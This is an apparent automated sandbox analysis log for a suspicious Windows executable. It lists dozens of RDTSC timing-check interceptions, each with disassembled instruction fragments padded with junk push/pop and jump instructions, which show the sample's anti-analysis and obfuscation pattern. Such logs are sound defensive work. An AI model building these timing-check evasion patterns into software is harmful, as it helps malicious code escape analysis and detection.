Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2565D4 second address: 256627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007FCE94E61216h 0x00000013 pushad 0x00000014 jmp 00007FCE94E6120Eh 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FCE94E61213h 0x00000020 popad 0x00000021 jg 00007FCE94E6120Eh 0x00000027 push esi 0x00000028 pop esi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25675E second address: 256762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 256762 second address: 25677D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCE94E61211h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 256BF5 second address: 256BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 256208 second address: 25620E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 256E62 second address: 256E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 256E68 second address: 256EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007FCE94E61216h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FCE94E6120Dh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c js 00007FCE94E61206h 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25701B second address: 257021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 257021 second address: 25703D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FCE94E61206h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FCE94E6120Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25703D second address: 257042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 257496 second address: 2574A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25C056 second address: 25C060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25C060 second address: 25C070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FCE94E61206h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 222DFC second address: 222E01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 222F54 second address: 222F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2234C2 second address: 2234CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2234CB second address: 2234CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22369B second address: 2236A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2236A9 second address: 2236AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2236AD second address: 2236B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2236B7 second address: 2236C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 223D03 second address: 223D28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jl 00007FCE94BEBC18h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 204C96 second address: 204CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 je 00007FCE94E6120Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 204CA7 second address: 204CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 jl 00007FCE94BEBC16h 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25FA13 second address: 25FA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FCE94E61206h 0x00000011 pushad 0x00000012 popad 0x00000013 jng 00007FCE94E61206h 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jno 00007FCE94E61206h 0x00000023 push edx 0x00000024 pop edx 0x00000025 jng 00007FCE94E61206h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25FD1E second address: 25FD27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25FD27 second address: 25FD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 260011 second address: 260015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2602D3 second address: 2602E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E6120Bh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2602E4 second address: 2602E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2602E9 second address: 2602FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FCE94E61206h 0x0000000a pop edi 0x0000000b push edx 0x0000000c jnp 00007FCE94E61206h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 266328 second address: 266346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC28h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 264D29 second address: 264D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94E61218h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 264EC4 second address: 264EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Ch 0x00000007 jmp 00007FCE94BEBC1Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007FCE94BEBC40h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FCE94BEBC1Bh 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26517C second address: 2651B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61217h 0x00000007 jmp 00007FCE94E6120Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FCE94E6120Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265425 second address: 26542B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26542B second address: 265463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jl 00007FCE94E61206h 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f jne 00007FCE94E61206h 0x00000015 jmp 00007FCE94E61218h 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f js 00007FCE94E61206h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265463 second address: 265473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265473 second address: 265488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jng 00007FCE94E61212h 0x0000000d jo 00007FCE94E6120Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2655FA second address: 265605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FCE94BEBC16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2658ED second address: 265904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007FCE94E6120Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265BBD second address: 265BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007FCE94BEBC25h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265BE5 second address: 265BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265BEA second address: 265BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265BF0 second address: 265BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 265BF6 second address: 265BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2695CE second address: 2695D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2695D2 second address: 2695D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2695D6 second address: 2695DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2695DC second address: 26960F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCE94BEBC21h 0x00000008 jnp 00007FCE94BEBC16h 0x0000000e jl 00007FCE94BEBC16h 0x00000014 jne 00007FCE94BEBC16h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 ja 00007FCE94BEBC16h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26960F second address: 26962A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26BBEE second address: 26BC04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCE94BEBC1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26BC04 second address: 26BC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26BC0A second address: 26BC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26B6F2 second address: 26B729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FCE94E6120Dh 0x00000010 pushad 0x00000011 popad 0x00000012 jp 00007FCE94E61206h 0x00000018 popad 0x00000019 jmp 00007FCE94E61216h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26B8AA second address: 26B8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FCE94BEBC37h 0x0000000b jmp 00007FCE94BEBC1Ch 0x00000010 jmp 00007FCE94BEBC25h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 26B8D6 second address: 26B8DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2727C0 second address: 2727CA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCE94BEBC32h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2727CA second address: 2727F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94E61216h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCE94E6120Ch 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 27123E second address: 271249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2713A3 second address: 2713AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2713AE second address: 2713B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 223AE4 second address: 223AF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E6120Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 271935 second address: 271942 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 271942 second address: 271948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 271948 second address: 2719A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCE94BEBC16h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007FCE94BEBC24h 0x00000011 pop edx 0x00000012 popad 0x00000013 pushad 0x00000014 jnl 00007FCE94BEBC21h 0x0000001a push esi 0x0000001b jno 00007FCE94BEBC16h 0x00000021 jmp 00007FCE94BEBC29h 0x00000026 pop esi 0x00000027 push edi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 271AE8 second address: 271AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FCE94E61206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 271AF2 second address: 271AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 271AF6 second address: 271B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 272517 second address: 272527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC1Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 275BC0 second address: 275BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E6120Eh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 275E89 second address: 275E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 27624D second address: 276251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 276251 second address: 276265 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FCE94BEBC16h 0x0000000e jl 00007FCE94BEBC16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 276265 second address: 2762C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FCE94E61208h 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007FCE94E61215h 0x00000014 jmp 00007FCE94E61215h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007FCE94E6121Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2762C0 second address: 2762CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FCE94BEBC16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2762CC second address: 2762D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2762D0 second address: 2762E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FCE94BEBC1Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2798E9 second address: 2798ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2798ED second address: 279912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC29h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 279912 second address: 27991B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2795E8 second address: 279607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC1Ch 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FCE94BEBC1Ah 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 281DBF second address: 281DD4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCE94E61206h 0x00000008 jmp 00007FCE94E6120Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 27FE72 second address: 27FEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jno 00007FCE94BEBC16h 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FCE94BEBC29h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 27FFF6 second address: 28000F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCE94E6120Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FCE94E61217h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28000F second address: 28003E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC1Bh 0x00000009 pop edi 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCE94BEBC26h 0x00000012 je 00007FCE94BEBC16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28042B second address: 280446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94E61213h 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 280974 second address: 280978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
